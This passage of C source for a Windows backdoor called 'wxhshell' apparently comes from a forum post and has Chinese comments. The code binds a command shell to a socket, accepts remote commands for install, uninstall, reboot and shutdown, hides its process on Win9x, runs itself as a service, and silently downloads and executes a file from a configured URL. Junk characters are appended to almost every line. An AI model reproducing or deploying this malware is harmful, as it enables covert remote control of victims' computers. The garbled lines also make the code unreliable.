      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'e{e>>03  
    break; \ZCc~muR  
  } )o9CFhFB  
  // 安装 ap;*qiNFQ  
  case 'i': { i$%;z~#wW  
    if(Install()) (Ca\$p7/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T3M 4r|  
    else K")-P9I6-f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jc{zi^)(EN  
    break; 8)R )h/E>  
    } d*q _DV  
  // 卸载 li/O&@g`  
  case 'r': { Q?[k>fu0  
    if(Uninstall()) Z~$&h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {H"gp?Z-  
    else IGv>0LOd@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i3(bg,  
    break; d&R/fIm  
    } I&>R]DV  
  // 显示 wxhshell 所在路径 y1k""75  
  case 'p': { vcV=9q8P1  
    char svExeFile[MAX_PATH]; Mc76)  
    strcpy(svExeFile,"\n\r"); xwK<f6H!y  
      strcat(svExeFile,ExeFile); Y*J`Wf(w  
        send(wsh,svExeFile,strlen(svExeFile),0); d/R:-{J)c  
    break; 9RR1$( f  
    } +=O8t0y n  
  // 重启 rl4daV&,U  
  case 'b': { kw=+"U   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A:NsDEt  
    if(Boot(REBOOT)) WdIr 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hnE@+(d=qJ  
    else {  $7|0{Dw  
    closesocket(wsh); B;G|2um:$  
    ExitThread(0); oleRQ=  
    } `[o^w(l:5@  
    break; 8a-[Q  
    } A!iV iX &y  
  // 关机 ~rn82an@G  
  case 'd': { )G*H l^Z;4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eJ7A.O  
    if(Boot(SHUTDOWN)) o @&#*3<_e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /i^b;?/1  
    else { )5yZSdA  
    closesocket(wsh); tQ=U22&7  
    ExitThread(0); Gi;e Drgj~  
    } f}XUxIQ-<  
    break; B8w 0DJ  
    } $:mCyP<y  
  // 获取shell }.` ycLW'  
  case 's': { . 1?AU 6\  
    CmdShell(wsh); WOgbz&S?J  
    closesocket(wsh); j##IJm  
    ExitThread(0); ]9A9q<lZ  
    break; ]^aece t  
  } -V4@BKI8  
  // 退出 o*r\&!NIw  
  case 'x': { v?d~H`L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JNX7]j\  
    CloseIt(wsh); "v ^Q !  
    break; $i~DUT(  
    } Pf@8C{I  
  // 离开 s "*Cb*  
  case 'q': { <VgnrqF6:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lBPZB%  
    closesocket(wsh); t0}3QGf;c  
    WSACleanup(); u-jGv| ,|  
    exit(1); Y Xn)?  
    break; VCvuZU{<  
        } 4-cnkv\~  
  } tr/S*0$  
  } KY4|C05 ,  
atW;S99#  
  // 提示信息 J. {[>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pw&l.t6.  
} xmq~:fcU=  
  } ^*}L9Ot~  
M^+~r,D1u  
  return; = #ocp  
} 8 +uOYNXsA  
*^" 4 )  
// shell模块句柄 fn;7Nf7{  
int CmdShell(SOCKET sock) pBmacFP  
{ Mb?6c y[  
STARTUPINFO si; bk#u0N  
ZeroMemory(&si,sizeof(si)); Pi)`[\{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ot-!_w<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $IB@|n  
PROCESS_INFORMATION ProcessInfo; "R):B~8|H{  
char cmdline[]="cmd"; O!/J2SfuDH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bO^%#<7  
  return 0; =_L"x~0I-  
} <7)Vj*VxC  
[ &R-YQ@  
// 自身启动模式 t{84ioJ"$  
int StartFromService(void) hDVD@b  
{ ~v+& ?dg  
typedef struct b6);bX>e  
{ pm<<!`w"  
  DWORD ExitStatus; }$m_):t@@  
  DWORD PebBaseAddress; 4*m\Zoq>  
  DWORD AffinityMask; E})PNf;  
  DWORD BasePriority; C{Aeud #5  
  ULONG UniqueProcessId; y>Nlj%XH  
  ULONG InheritedFromUniqueProcessId; . KRh59yg  
}   PROCESS_BASIC_INFORMATION; D~2,0K  
#lV&U  
PROCNTQSIP NtQueryInformationProcess; m,)Re8W-  
(Dc dR:/=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N}.h_~6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; inR8m 4c]P  
hQHV]xW  
  HANDLE             hProcess; h2uO+qEsu  
  PROCESS_BASIC_INFORMATION pbi; x?Q;o+2v  
Wq"pKI#x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ap_(/W  
  if(NULL == hInst ) return 0; q(a6@6f"kD  
YZ/mTQn_D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KX`MX5?x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5/neV&VcB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V3F2Z_VH2  
p[g!LD  
  if (!NtQueryInformationProcess) return 0; HM ^rk  
i-tX5Md|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xa!@$w=U&  
  if(!hProcess) return 0; a=C?fh  
k]I<%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]RGun GJ  
9)H~I/9Y  
  CloseHandle(hProcess); @R`OAd y  
?WUu@Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]lm9D@HMC  
if(hProcess==NULL) return 0; z2nDD6N  
F>!fu.Ws  
HMODULE hMod; >Q"eaJxE!l  
char procName[255]; kk^KaD4dA  
unsigned long cbNeeded; sA}=o.\j:  
MIi:\m5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  q#MA A_  
}ZR3  
  CloseHandle(hProcess); gzl_  "j  
5n?fZ?6(  
if(strstr(procName,"services")) return 1; // 以服务启动 6;5}% B:#h  
xr.fZMOh4  
  return 0; // 注册表启动 =]etw  
} J#'c+\B<2X  
CUY2eQJ{U  
// 主模块 %Ix^Xb0  
int StartWxhshell(LPSTR lpCmdLine) Y}e$5  
{ Xj|j\2$ 0  
  SOCKET wsl; ;QW)tv.y  
BOOL val=TRUE; DAc jx:~  
  int port=0; /z5j.TMs  
  struct sockaddr_in door; qRB&R$  
Wp T.25  
  if(wscfg.ws_autoins) Install(); `[Z?&'CRQ  
oh,Nu_!  
port=atoi(lpCmdLine); IsnC_"f  
se7_:0+w  
if(port<=0) port=wscfg.ws_port; +gK7`:v4O*  
dHd{9ftyF  
  WSADATA data; B#sc!eLmU&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qmJFXnf  
u3"F7 lJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HLTz|P0JZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ioh_5 5e  
  door.sin_family = AF_INET; 0'aZ*ozk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uXtfP?3Vy  
  door.sin_port = htons(port); =C5 [75z#+  
h:j-Xd$H+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nD E5A  
closesocket(wsl); T>W(Caelq  
return 1; d+"KXt5CV  
} hb^e2@i;Oq  
@HaWd 3  
  if(listen(wsl,2) == INVALID_SOCKET) { 2u#{K9g  
closesocket(wsl); +O9l@X$l=  
return 1; X @r5^A[9  
} QWfwoe&;R:  
  Wxhshell(wsl); rpy`Wz/[  
  WSACleanup(); .6  
,!bOzth2>K  
return 0; iTxn  
=:9n+7~$  
} ;jI\MZ~l\  
M.H4ud  
// 以NT服务方式启动 ,>"1'i&@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  @(Q4  
{ &X +@,!  
DWORD   status = 0; Lf7iOW9U3  
  DWORD   specificError = 0xfffffff; ,]20I _  
PP$Ig2Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $"x(:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4!iS"QH?;^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i~k?k.t8  
  serviceStatus.dwWin32ExitCode     = 0; qdUlT*fw  
  serviceStatus.dwServiceSpecificExitCode = 0; F'|,(P  
  serviceStatus.dwCheckPoint       = 0; hq\KSFP  
  serviceStatus.dwWaitHint       = 0; x"_f$,:!  
| M-@Qvgh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y 0M&Bh  
  if (hServiceStatusHandle==0) return; 0D 0#*J  
<6- (a;T!7  
status = GetLastError(); ,cgC_ %  
  if (status!=NO_ERROR) [yjC@docH  
{ iY.~N#Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `M"b L|[R  
    serviceStatus.dwCheckPoint       = 0; "eGS~-DVK  
    serviceStatus.dwWaitHint       = 0; xI_WkoI  
    serviceStatus.dwWin32ExitCode     = status; WV?iYX!  
    serviceStatus.dwServiceSpecificExitCode = specificError; c( gUH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "ve?7&G7U  
    return; -7;RPHJs  
  } rPr#V1}1a  
rA{h/T"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _czLKbcF  
  serviceStatus.dwCheckPoint       = 0; 4#4kfGoT  
  serviceStatus.dwWaitHint       = 0; OM2|c}]ZQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uyAhN  
} c S{l2}E  
j:U>V7Kn3~  
// 处理NT服务事件,比如:启动、停止 h_y<A@[P}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ChGwG.-%L  
{ _v]I6<!5U  
switch(fdwControl) Gs*ea'T)  
{ C:gE   
case SERVICE_CONTROL_STOP: 1&wZJP=  
  serviceStatus.dwWin32ExitCode = 0; t41\nTZr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ki}Uw#  
  serviceStatus.dwCheckPoint   = 0; +$8hTi,  
  serviceStatus.dwWaitHint     = 0; 5nf|CQH6?  
  { 0@3g'TGl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -c|O!Lc-  
  } \^':(Gu4o  
  return; 7+=j]+O  
case SERVICE_CONTROL_PAUSE: MS,H12h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C8NbxP  
  break; yHT}rRS8  
case SERVICE_CONTROL_CONTINUE: tk_y~-xz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o&I 0*~ sN  
  break; RTF{<,E.UX  
case SERVICE_CONTROL_INTERROGATE: /j3oHi$  
  break; vR+(7^Yy  
}; MQR2UK (  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VAq( t  
} ?Vt$  
`b9oH^}n j  
// 标准应用程序主函数 0Dh a1[=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?V*>4A  
{ MV=.(Zs  
5dYIL`  
// 获取操作系统版本 & +%CC  
OsIsNt=GetOsVer(); <&W3\/xx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S2j7(T;~YB  
iAup',AZg  
  // 从命令行安装 [iL2c=_  
  if(strpbrk(lpCmdLine,"iI")) Install(); y0A2{'w  
Z AZQFr'*  
  // 下载执行文件 B[b'OtH  
if(wscfg.ws_downexe) { oqE h_[.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2LD4f[a;  
  WinExec(wscfg.ws_filenam,SW_HIDE); ) e;F@o3  
} j-yD;N  
/D)@y548~~  
if(!OsIsNt) { /<|J\G21  
// 如果时win9x,隐藏进程并且设置为注册表启动 mc9$"  
HideProc(); <-FZ-asem  
StartWxhshell(lpCmdLine); kC LeHH|K  
} T5Pc2R  
else ?&/9b)cS  
  if(StartFromService()) aY3kww`  
  // 以服务方式启动 9f BD.9A  
  StartServiceCtrlDispatcher(DispatchTable); :5@7z9 >  
else w8> T ~Mv  
  // 普通方式启动 `{tykYwCLc  
  StartWxhshell(lpCmdLine); :i:Zc~%  
wl(}F^:/`  
return 0; TzX>d<x  
}
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只看该作者 1 发表于: 2006-10-10
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